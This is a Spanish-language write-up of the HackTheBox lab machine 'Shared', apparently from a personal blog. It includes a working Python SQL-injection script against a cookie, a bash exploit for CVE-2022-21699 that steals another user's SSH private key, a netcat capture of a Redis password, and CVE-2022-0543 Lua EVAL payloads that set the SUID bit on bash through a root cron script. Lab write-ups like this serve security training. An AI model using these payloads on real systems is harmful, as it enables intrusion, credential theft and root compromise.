Home Hackthebox Writeup Shared
Post
Cancel

Hackthebox Writeup Shared

Overview:

  1. Database enumeration and SSH password leak by SQL Inyection
  2. Remote command execution in IPython (CVE-2022-21699) (Foothold)
  3. Redis password leak exploiting a connection binary
  4. Remote command execution by running Lua commands (CVE-2022-0543) (Privilege Escalation)

SharedLogo

OSIPRelease DateDifficultyPoints
Linux10.10.11.17223 Jul 2022Medium30

Antes de empezar verificamos que estamos conectado a la VPN de HTB y tenemos conexión con la máquina:

1
2
3
4
5
6
7
8
> ping -c1 10.10.11.172
PING 10.10.11.172 (10.10.11.172) 56(84) bytes of data.
64 bytes from 10.10.11.172: icmp_seq=1 ttl=63 time=115 ms
                                          \______________________ Linux Machine
--- 10.10.11.172 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
          \_________________\____________________________________ Successful connection
rtt min/avg/max/mdev = 114.710/114.710/114.710/0.000 ms

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Enumeration


Con nmap realizamos un escaneo de tipo TCP (Transfer Control Protocol) para descubrir puertos abiertos:

1
2
3
4
5
6
7
8
9
10
11
12
❯ nmap -p- -sS --min-rate 5000 -n -Pn 10.10.11.172
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-15 16:33 -05
Nmap scan report for 10.10.11.172
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
		\_________________ Secure Shell Protocol
80/tcp  open  http
		\_________________ Hypertext Transfer Protocol
443/tcp open  https
		\_________________ Hypertext Transfer Protocol Secure

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-Pn : Omitir el descubrimiento de hosts y continuar con el escaneo de puertos, incrementa velocidad del escaneo

Continuamos con un escaneo a profundidad de los puertos 22(SSH) - 80(HTTP) - 443(HTTPS):

En esta ocasión usamos el formato XML(Extensible Markup Language) y con la herramienta xsltproc lo convertimos a formato HTML(Hypertext Markup Language), luego compartimos un simple servidor HTTP:

1
2
3
4
5
6
❯ nmap -p22,80,443 -sCV 10.10.11.172 -oX tcp_openPorts
...
❯ xsltproc tcp_openPorts -o tcp_openPorts.html
...
❯ python3 -m http.server 80
...

TCPScan

Explicación de parámetros :

-p <port_1,port_2,...> : Indicamos que puertos queremos escanear

-sCV (Fusión de parámetros -sC -sV)

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oX <file> : Guardar el output del escaneo en un archivo con formato XML

Observamos que con el script por defecto http-robots.txt se encontro el clásico archivo robots.txt el cuál se encarga de ocultar a los motores de búsqueda (google, firefox, bing) cierto contenido de nuestra web, ya sean directorios, subdirectorios, rutas, archivos, etc.

Ahora empezamos buscando las tecnologías del servicio web 80(HTTP):

Usando whatweb

1
2
3
❯ whatweb 10.10.11.172
http://10.10.11.172 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.172], RedirectLocation[http://shared.htb], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://shared.htb - no address for shared.htb <---------- Virtual hosting

Observamos que se aplica Virtual Hosting, así que agregamos la IP de la máquina y el dominio a nuestro archivo encargado de la resolución de direcciones IP y nombres de dominio /etc/hosts: echo "10.10.11.172 shared.htb" >> /etc/hosts

Ahora volvemos a buscar las tecnologías:

1
2
3
4
5
❯ whatweb 10.10.11.172
http://10.10.11.172 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.172], RedirectLocation[http://shared.htb], Title[301 Moved Permanently], nginx[1.18.0]
http://shared.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.172], RedirectLocation[https://shared.htb/], nginx[1.18.0]
https://shared.htb/ [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.172], RedirectLocation[https://shared.htb/index.php], nginx[1.18.0]
https://shared.htb/index.php [200 OK] Cookies[PHPSESSID,PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[PHPSESSID,PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c], IP[10.10.11.172], JQuery, Open-Graph-Protocol[website], PoweredBy[PrestaShop], PrestaShop[EN], Script[application/ld+json,text/javascript], Title[Shared Shop], X-UA-Compatible[ie=edge], nginx[1.18.0]

Por el lado de las tecnologías vemos un servidor web Nginx/1.18.0 con una versión estable hasta la fecha, la biblioteca JQuery de Javascript para el tema de desarrollo web e interacción con documentos HTML, el E-commerce Prestashop, etc.

Aparte de ello observamos el flujo de redirecciones (3XX codes) http://10.10.11.172 -> http://shared.htb -> https://shared.htb -> https://shared.htb/index.php

Para comprobarlo ingresamos con Firefox:

HTTPWeb

Al observar el landing page encontramos dos mensajes, uno sobre la caída de la página por un fallo de disco y otro de la implementación de un nuevo proceso de pago. Tengamos en cuenta lo anterior para más adelante

Toqueteando la página podemos encontrar una página de logeo, en mi caso no pude encontrarla de esa manera. Intente fuzear y solo encontré directorios con acceso prohibido (403 Forbidden), por ello realizé en un one-liner de bash la técnica web scraping para extraer todas las posibles rutas de la web:

1
2
3
4
❯ curl -sk https://shared.htb/index.php | grep -oE '"https:.*?"' | tr ' ' '\n' | tr ',' '\n' | grep -oE '"https:.*?"' | tr -d '"' | sort -u | sed 's/\\\//\//g' | grep -vE '^https://$' | sed 's/&amp;/\&/g'
...
https://shared.htb/index.php?controller=authentication <-------- Login path
...

Al crearnos una cuenta se nos agrega una nueva cookie de sessión con el nombre custom_cart, él cual si observamos en las herramientas de desarrollador (pestaña storage), el valor analizado es un Array. Llegando a la conclusión de que aquí guardará cada objeto que añadamos a nuestro carrito de compras.

Antes de seguir, al comprar un producto podemos escribir un comentario al respecto y al querer publicarlo nos muestra un mensaje diciendo que será revisado por un moderador antes de publicarse. Pensando en ello podemos aplicar XSS(Cross-Site Scripting) para robarle las cookies a ese moderador y posiblemente tener una cuenta con mayores privilegios. Lamentablemente nunca llega a publicarse un comentario

Siguiendo con el carrito de compras, al momento de proceder con el pago existe una redirección a https://checkout.shared.htb. Realizamos el mismo paso de antes (saltamos la advertencia de “Not Secure”) y observamos una tabla con el ID del producto y la cantidad que elegimos.

Recordando la fase de descubrimiento de tecnologías, con la extensión Wappalyzer observamos que por detrás hay una base de datos MySQL

Foothold


Sabemos que nuestra cookie custom_cart está codificada en formato URL y es reflejada en nuestro carro de compras:

Podemos decodificar para validar el formato con python o bash:

1
2
3
4
5
6
7
8
9
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: urldecode_data.txt
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # python3
   2   │ alias urldecode='python3 -c "import sys, urllib.parse as ul; print(ul.unquote_plus(sys.argv[1]))"'
   3   │ 
   4   │ # bash
   5   │ echo "{url_data}" | sed -e "s/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g" | xargs -0 echo -e
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────

Al insertar la salida de cualquier comando comprobamos que no es necesario que la cookie este codificada

Con el concepto que por detrás hay una base de datos MySQL y la interfaz del carrito de compras es presentada como una tabla, podemos intentar una posible SQL Inyeciton

Para mejor control interceptamos la página con burpsuite:

CheckoutBurp

Probamos una comilla simple (‘) en cada campo de la cookie, para mejor entendimiento un diccionario ({key : value}):

En el campo value 1 solo se refleja el input, por ello podemos inyectar codigo html y posiblemente un ataque XSS

En el campo key 53GG2EF8:

ValidateKeySQLi

Tomamos la salida como un posible error e intentamos hallar la cantidad de columnas y un campo vulnerable:

KeySQLi

Ahora enumeramos las bases de datos existentes:

Payload: ' union select 1,(select group_concat(0x7c, schema_name, 0x7c) from information_schema.schemata),3-- -

DBSqli

Los pasos que siguen son enumerar las tablas, columnas y ver sus campos:

1
2
3
4
5
--Tables of a database
' union select 1,2,3,group_concat(0x7c,table_name,0x7C) from information_schema.tables where table_schema=[database]

--Column names
' union select 1,2,3,group_concat(0x7c,column_name,0x7C) from information_schema.columns where table_name=[table name]

Esta y más información lo encuentras en Hacktricks

Lo que hice fue automatizar el proceso en un script en python, muy parecida a la máquina anterior pero con algunos cambios nuevos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import argparse
import requests
import signal
import sys
import urllib.parse
import urllib3

# pip install beautifulsoup4 & pip instal lxml
from bs4 import BeautifulSoup
# pip3 install pwn
from pwn import *


# SQLi:
#	custom_cart = {"53GG2EF8' and false union select null,(select group_concat(0x7c, version(), 0x7c), null#":  "1"}

# global variables

domain_host = 'shared.htb'
subdomain_host = 'checkout'
target_host = f'https://{subdomain_host}.{domain_host}'

# disable TLS warnings

urllib3.disable_warnings()

# ctrl C

def def_handler(signal, frame):
	log.failure('Aborted!')
	exit()

signal.signal(signal.SIGINT, def_handler)

# inyection types

def get_databases():
	return """' and false union select null, (select group_concat(0x7c, schema_name, 0x7c) from information_schema.schemata), null#"""

def get_tables(database):
	return f"""' and 1=0 union select null, (select group_concat(0x7c, table_name, 0x7c) from information_schema.tables where table_schema = '{database}'), null#"""

def get_columns(table):
	return f"""' and 0 union select null, (select group_concat(0x7c, column_name, 0x7c) from information_schema.columns where table_name = '{table}'), null#"""

def get_fields(column, table):
	return f"""' and 1>2 union select null, (select group_concat(0x7c, {column}, 0x7c) from {table}), null#"""

def get_info(query):
	return f"""' and 2=1 union select null, (select group_concat(0x7c, {query}, 0x7c)), null#"""

# selection of query types

def type_inyection(args):
    try:
        if len(sys.argv) == 1:
            return get_databases()
        elif args.database and args.table and args.column:
            return get_fields(args.column, args.table)
        elif args.database and args.table:
            return get_columns(args.table)
        elif args.database:
            return get_tables(args.database)
        elif args.query:
            return get_info(args.query)
    except Exception as e:
        print(e)


# request for inyection

def request(args):
	with requests.Session() as s:

		# select inyection type
		inyection = type_inyection(args)

		# Hummingbird printed t-shirt ID (cookie value)
		# add inyection
		product_id = f"""53GG2EF8{inyection}"""
		cookie_value = '{"' + product_id + '":"1"}'

		# urlencode cookie value
		urlcode_cookie = urllib.parse.quote(cookie_value)

		# create cookie
		malicious_cookie = { 
			"custom_cart" : urlcode_cookie
		}

		# inyect cookie
		r = s.get(f'{target_host}', cookies=malicious_cookie, verify=False)
		
		# show information
		soup = BeautifulSoup(r.text, 'lxml')
		print()
		print(soup.td.string)

# program flow

def main(args):
	request(args)

if __name__ == '__main__':

	# Help panel 
	parser = argparse.ArgumentParser(description='SQLi Shared HTB')
	
	parser.add_argument('-d', '--database', type=str, required=False, help='Select database')
	parser.add_argument('-t', '--table', type=str, required=False, help='Select table')
	parser.add_argument('-c', '--column', type=str, required=False, help='Select column')
	parser.add_argument('-q', '--query', type=str, required=False, help='One word query (g.e version())')

	args = parser.parse_args()

	# pass args object
	main(args)

Puedes encontrar el script en mi repositorio https://github.com/E1P0TR0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python3 sql_inyection.py

|information_schema|,|checkout|
❯ python3 sql_inyection.py -d checkout

|user|,|product|
❯ python3 sql_inyection.py -d checkout -t user

|id|,|username|,|password|
❯ python3 sql_inyection.py -d checkout -t user -c username

|james_mason|
❯ python3 sql_inyection.py -d checkout -t user -c password

|fc895d4eddc2fc12f995e18c865cf273|

Al ejecutar el codigo obtenemos el usuario james_mason y su contraseña en formato hash, para ello podemos usar las herramientas hashid o hash-identifier para identificar el tipo de hash y luego poder crackearla. En esta oportunidad usamos la página https://crackstation.net/, la cuál halla la contraseña en unos segundos:

CRACKSTATION

Plataforma legal para crackear contraseñas https://crackstation.net/

Ahora con la contraseña y recordando que tenemos el puerto 22(SSH) abierto, entramos con las credenciales obtenidas como el usuario james_mason:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ssh james_mason@10.10.11.172
james_mason@10.10.11.172's password: 
Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 15 21:11:13 2022 from 10.10.14.54
james_mason@shared:~$ whoami
james_mason
james_mason@shared:~$ find / -name user.txt 2>/dev/null | xargs ls -l
-rw-r----- 1 root dan_smith 33 Aug 14 18:28 /home/dan_smith/user.txt

Ya dentro nos damos cuenta que no tenemos permiso para leer la flag, el archivo tiene los permisos rw-r----- lo cuál solo permite leer el archivo al usuario root y los que pertecen al grupo dan_smith, entonces es nuestro objetivo

Antes de eso buscamos el código php no sanitizado que nos permitió SQL Inyection:

1
2
3
4
5
6
7
8
james_mason@shared:~$ cat /var/www/checkout.shared.htb/index.php | grep sql
    $conn = new mysqli(DBHOST, DBUSER, DBPWD, DBNAME);
            $sql = "SELECT id, code, price from product where code='".$code."'"; <-------- query concatenation (typical error)
            // Prevent time-based sql injection
            if(strpos(strtolower($sql), "sleep") !== false || strpos(strtolower($sql), "benchmark") !== false)
            $result = $conn->query($sql);
            if($result && mysqli_num_rows($result) >= 1) {
                $product = mysqli_fetch_assoc($result);

Empezamos haciendo un reconocimiento básico del sistema y encontramos con el comando id (información de usuario y grupo) que nuestro usuario pertenece al grupo 1001(developer), además listamos que ambos usuarios pertenecen al mismo grupo (una manera de combinar a los usuarios), y el uid(1001) pertenece al usuario dan_smith:

1
2
3
4
5
6
james_mason@shared:~$ grep 1001 /etc/group
developer:x:1001:james_mason,dan_smith  <-------------- Same group
james_mason@shared:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
james_mason:x:1000:1000:james_mason,,,:/home/james_mason:/bin/bash
dan_smith:x:1001:1002::/home/dan_smith:/bin/bash <-------- !

Con esa información buscamos directorios y archivos con los permisos Group id gid(1001):

1
2
james_mason@shared:~$ find / -group developer 2>/dev/null
/opt/scripts_review

La ruta /opt esta reservado para almacenar paquetes de distintos softwares (terceros) que no son parte del sistema

Encontramos la ruta /opt/scripts_review pero sin ningún contenido. Buscando archivos ocultos en el directorio del usuario dan_smith /home/dan_smith encontramos el directorio .ipython, pero que es eso?

IPYTHONDEF

Probamos usar la shell interactiva y todo funciona correctamente, y además nos muestra la versión IPython 8.0.0. Sin dudarlo intentamos buscar una vulnerabilidad sobre dicha versión y logramos encontrar una interesante:

CVE-2022-21669

Más información y explotación CVE-2022-21669

En resumen, podemos ejecutar comandos como otro usuario. Te explico en que consiste:

Al usar esta shell de python existe una configuración y se guarda en la ruta ~/.ipython/profile_default (ruta que tenemos en el directorio del usuario dan_smith)

Dentro de la ruta anterior existe un directorio /startup, el cuál al iniciar ipython ejecutará todos los scripts .py ó .ipy que tiene almacenados (puedes ver esta información en el archivo README)

Ahora solo nos queda buscar que el usuario dan_smith pueda ejecutar el comando IPython, y para conseguir eso usamos la herramienta pspy para encontrar procesos de otros usuarios:

Descargan la herramienta en su repositorio, lo pasan a la máquina víctima, le dan permisos de ejecución y lo ejecutan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
james_mason@shared:/tmp$ ./pspy64                                                                                                                                  [222/222]
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855         
                                                                                                                                                                            
                                                                                                                                                                            
     ██▓███    ██████  ██▓███ ▓██   ██▓                                                                                                                                     
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒                                                                                                                                     
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░                                               
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░                                                                                                                                     
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░                                                                                                                                     
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒                                                                                                                                      
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░                                                                                                                                      
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░                                                                                                                                       
                   ░           ░ ░                                                    
                               ░ ░         
...
2022/08/16 01:45:01 CMD: UID=1001 PID=2302   | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython <--- Important!
				\___ dan_smith UID 
2022/08/16 01:45:01 CMD: UID=1001 PID=2303   | /usr/bin/pkill ipython 
2022/08/16 01:45:01 CMD: UID=1001 PID=2304   | /usr/bin/python3 /usr/local/bin/ipython
...

Repositorio de la herramienta https://github.com/DominicBreuker/pspy

Interesante, vemos que el usuario dan_smith (lo reconocemos por su UID) usa pkill para cancelar la ejecución de IPython, luego con cd va al directorio que vimos anteriormente y con el simbolo lógico && ejecuta ipython si el comando anterior fue exitoso (el cuál pasará ya que sabemos la existencia de esa ruta)

Entonces con todo lo visto anteriormente procedemos a explotar la vulnerabilidad:

Concepto general (Vulnerable user)

1
2
3
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py

Para la explotación, pruebas y por si cometemos errores, de manera rápida lo metemos en un archivo para usarlo como un script en bash e intentar copiar la id_rsa Private key de dan_smith, ya que se dirigirá a la ruta /opt/scripts_review y allí ejecutara ipython, el cuál buscara el directorio de inicicialización /startup y ejecutará los scripts almacenados dentro 00-wh0am1.py (stealing private key):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
target_path='/opt/scripts_review'
temp_path='/tmp/.testing'

# create temp file 
if [ -d $temp_path ]; then
        rm -r $temp_path
fi

mkdir -m 777 $temp_path

# If target_path not is empty
if [ ! -z "$(ls -A $target_path)" ]; then
        rm -r $target_path/*
else
        mkdir -m 777 $target_path/profile_default
        mkdir -m 777 $target_path/profile_default/startup

        echo "__import__('os').system('cat ~/.ssh/id_rsa > /tmp/.testing/id_rsa; chmod o+rwx /tmp/.testing/id_rsa')" > $target_path/profile_default/startup/00-wh0am1.py
fi

# ssh connection
sleep 20 # wait until to receive key
ssh -i $temp_path/id_rsa dan_smith@localhost

Puedes encontrar el script en mi repositorio https://github.com/E1P0TR0

Ahora lo ejecutamos, esperamos unos segundos, nos logeamos como dan_smith y conseguimos la flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
james_mason@shared:/tmp$ ./CVE-2022-21699.sh
Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 16 03:19:09 2022 from 127.0.0.1
dan_smith@shared:~$ whoami
dan_smith
dan_smith@shared:~$ find / -name user.txt 2>/dev/null | xargs ls -l
-rw-r----- 1 root dan_smith 33 Aug 16 00:52 /home/dan_smith/user.txt

Privilege Escalation


Al igual que con el usuario anterior, hacemos una enumeración básica de nuestro usuario y nos damos cuenta que pertenece al grupo 1003(sysadmin), entonces buscamos directorios y archivos con ese GUI (Group ID):

1
2
3
4
dan_smith@shared:~$ id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
dan_smith@shared:~$ find / -group 1003 2>/dev/null
/usr/local/bin/redis_connector_dev

En contramos el binario /usr/local/bin/redis_connector_dev, lo ejecutamos y nos muestra lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
dan_smith@shared:~$ /usr/local/bin/redis_connector_dev
[+] Logging to redis instance using password...

INFO command result:
# Server
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:27580
run_id:52a282d2b4b882075ba776fde63771afa60e80cf
tcp_port:6379
uptime_in_seconds:5
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:16525803
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
 <nil>

Nos muestra un mensaje que se esta logeando a redis. Redis es un motor de base de datos en memoria que almacena la información de la forma clave-valor

Entonces como nos muestra la versión intentamos encontrar algunar vulnerabilidades, encontramos varias, pero para poder ejecutarlas necesitabamos autenticarnos en la interfaz de redis con redis-cli

Nuestro objetivo ahora es lograr authenticarnos. Si nos fijamos bien, el binario anterior /usr/local/bin/redis_connector_dev nos muestra el mensaje [+] Logging to redis instance using password…. Al parecer al ejecutar el script, este se intenta conectar a redis y al entablar la conexión se autentica y recibimos ese output de informmación. ¿ Pero en qué puerto ?, sencillo, el puerto por defecto de redis es el 6379

Listamos los puertos

1
2
3
4
5
6
7
8
9
10
11
12
dan_smith@shared:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6379 <- Here! 0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                

Encontramos que está en escucha pero solo de manera local (127.0.0.1 loopback addres). Entonces como no podemos interceptar el binario de manera externa, por ello pasamos el binario a nuestra máquina y lo ejecutamos:

1
2
3
4
5
6
7
❯ chmod +x redis_connector_dev
❯ ./redis_connector_dev
[+] Logging to redis instance using password...

INFO command result:
 dial tcp 127.0.0.1:6379: connect: connection refused
─────────────────────────────────────────────────────────────────────

Al ejecutarlo nos sale un error de conexión rechazada sobre 127.0.0.1:6379, lo que pasa es que el binario está intentando ingresar a redis por el puerto 6379

Entonces lo que hacemos es abrir el puerto 6379 para esperar esa conexión y recibir la contraseña de la autenticación:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ chmod +x redis_connector_dev
❯ ./redis_connector_dev
[+] Logging to redis instance using password...

INFO command result:
 dial tcp 127.0.0.1:6379: connect: connection refused <------- Connection failed (1)
❯ ./redis_connector_dev
[+] Logging to redis instance using password...       <------- Successfull connection (3)

INFO command result:
 i/o timeout

──────────────────────────────────────────────────────────────────────────────────────────
❯ nc -lvnp 6379					     <-------- Open port (2)
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6379
Ncat: Listening on 0.0.0.0:6379
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:51178.
*2
$4
auth
$16
F2WHqJUz2WEz=Gqq <------- Password

Al conectarnos vemos varios simbolos, pues esto se debe a que los clientes redis usan el protocolo RESP(REdis Serialization Protocol) para comunicarse con el servidor. Cuando se realiza la petición, estos datos se trasmiten como un arreglo de strings, aquí la explicación de los símbolos:

RESPProtocol

Más informacions sobre RESP protocol

Como ya tenemos una autenticación exitosa, ahora toca intentar explotar distintas vulnerabilidades que existen para redis

Usamos como fuente la biblia de los Hacker Hacktricks, en mi caso solo me funcionó usar la forma Lua sandbox byass, especificamente CVE-2022-0543 que consiste en poder insertar código Lua (lenguaje que aporta al funcionamiento de Redis) a traves del comando EVAL y con ello ejecutar código remoto

Antes tenemos que verificar que este proceso está siendo ejecutado como el usuario privilegiado, así que listamos rápidamente los procesos del sistema y confirmamos que el usuario root es quien está iniciando el servidor redis:

1
2
3
4
dan_smith@shared:/tmp$ ps aux
...
root       30024  0.2  0.7  65104 14664 ?        Ssl  21:13   0:00 /usr/bin/redis-server 127.0.0.1:6379 <----- Root
dan_smi+   30030  0.0  0.1   9700  3192 pts/2    R+   21:13   0:00 ps aux

Ahora procedemos a la explotación:

Código lua que useremos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Guardamos en una variable el nombre de inicialización del paquete Lua que usaremos
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); 

# Inicializamos el paquete guardándolo en una variable
local io = io_l();

# Accedemos a la función 'popen' que nos permite ejecutar comandos {command} mostrando como output un archivo
local f = io.popen("{command}", "r"); 

# Leemos el archivo y guardamos su contenido
local res = f:read("*a"); 

# Cerramos el archivo
f:close(); 

# Retornamos la salida del comando
return res

Entramos a la interfaz de redis redis-cli y usando el comando EVAL ejecutamos el script anterior con el comando whoami:

1
2
3
4
5
dan_smith@shared:/tmp$ redis-cli -a F2WHqJUz2WEz=Gqq
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
127.0.0.1:6379> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
"root\n"
127.0.0.1:6379> 

El ‘0’ del final indica que no pasamos ningún argumento al script

Conseguimos ejecutar comandos como el usuario root, ahora tenemos que buscar una manera ganar acceso completo a una shell

Intentamos asignarle permisos SUID a la bash pero no logramos que funcione

1
2
3
4
127.0.0.1:6379>  EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("chmod u+s /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
""
127.0.0.1:6379>  EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -l /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
"-rwxr-xr-x 1 root root 1234376 Mar 27 14:40 /bin/bash\n"

Pero existe otra alternativa, al listar lo procesos del sistema con la herramienta pspy encontramos que el usuario root ejecuta el siguiente script:

1
2
3
4
5
6
7
2022/08/16 22:44:01 CMD: UID=0    PID=32279  | /bin/bash /root/c.sh 
2022/08/16 22:44:01 CMD: UID=0    PID=32280  | sleep 5 
2022/08/16 22:44:01 CMD: UID=1001 PID=32281  | /usr/bin/python3 /usr/local/bin/ipython 
2022/08/16 22:44:06 CMD: UID=0    PID=32283  | rm -rf /opt/scripts_review/* 
2022/08/16 22:44:06 CMD: UID=0    PID=32286  | perl -ne s/\((\d+)\)/print " $1"/ge 
2022/08/16 22:44:06 CMD: UID=0    PID=32285  | /bin/bash /root/c.sh 
2022/08/16 22:44:06 CMD: UID=0    PID=32284  | /bin/bash /root/c.sh

Observamos varios veces la ejecución del script c.sh, el cuál es una tarea cron que se ejecutará cada cierto tiempo. Entonces aplicamos lo mismo que antes y agregamos con el operador >> el comando chmod u+s /bin/bash:

Para evitar problemas de sintáxis con los simbolos codificamos el comando en base64

1
2
❯ echo "echo 'chmod u+s /bin/bash' >> /root/c.sh" | base64
ZWNobyAnY2htb2QgdStzIC9iaW4vYmFzaCcgPj4gL3Jvb3QvYy5zaAo=

Ahora pasamos la cadena y lo decodificamos de vuelta para luego interpretarla con bash:

1
2
3
4
127.0.0.1:6379>  EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -l /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
"-rwxr-xr-x 1 root root 1234376 Mar 27 14:40 /bin/bash\n"
127.0.0.1:6379>  EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo ZWNobyAnY2htb2QgdStzIC9iaW4vYmFzaCcgPj4gL3Jvb3QvYy5zaAo= | base64 -d | bash", "r"); local res = f:read("*a"); f:close(); return res' 0
""

Por último esperamos unos segundos, volvemos a listar la bash, y ya tendremos asignado el permiso SUID. Así que lo ejecutamos como el propietario bash -p, conseguimos el acceso y la flag:

1
2
3
4
5
6
7
8
9
10
127.0.0.1:6379>  EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo ZWNobyAnY2htb2QgdStzIC9iaW4vYmFzaCcgPj4gL3Jvb3QvYy5zaAo= | base64 -d | bash", "r"); local res = f:read("*a"); f:close(); return res' 0
""
127.0.0.1:6379>  EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -l /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
"-rwsr-xr-x 1 root root 1234376 Mar 27 14:40 /bin/bash\n"
127.0.0.1:6379> exit
dan_smith@shared:/tmp$ bash -p
bash-5.1# whoami
root
bash-5.1# find / -name root.txt | xargs ls -l
